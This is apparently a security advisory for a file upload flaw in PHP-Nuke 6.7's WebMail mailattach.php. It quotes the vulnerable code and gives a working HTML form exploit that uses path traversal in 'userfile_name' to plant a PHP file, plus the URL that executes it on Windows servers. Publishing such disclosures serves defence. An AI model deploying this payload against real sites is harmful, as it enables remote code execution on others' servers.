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- Informations :
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- Language : PHP
- Version : 6.7
- Website : http://www.phpnuke.org
- Problem : File Upload
-
-
- PHP Code/Location :
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- modules/WebMail/mailattach.php :
- -------------------------------------------------------------------------------------------------------------------
-
- if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
- !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
- if (ini_get(file_uploads) AND $attachments == 1) {
- $updir = "tmp";
- @copy($userfile, "$updir/$userfile_name");
- @unlink($userfile);
- }
- }
-
- -------------------------------------------------------------------------------------------------------------------
-
- Exploit :
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- Anyone can choose the path, the name and the extention of a file to upload.
- Here the file is saved into http://[target]/modules/AvantGo/language/bad.php
- and can be included and executed with the URL
- http://[target]/modules.php?name=AvantGo&file=langague/bad :
-
- <form
- action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"
- method="POST" ENCTYPE="multipart/form-data">
- <input type="hidden" name="attachments" value="1">
- <input type="file" name="userfile"><br>
- <input type="submit" name="Send File>
- </form>
-
-
- It will work with Windows only because the temp name of the file is anything
- like this : c:\temp\php054.TMP so $userfile doesn't contain any '\'
- character.
-
-
- More details/Solution :
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- A patch and more details can be found on http://www.phpsecure.info.
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-
- frog-m@n
-
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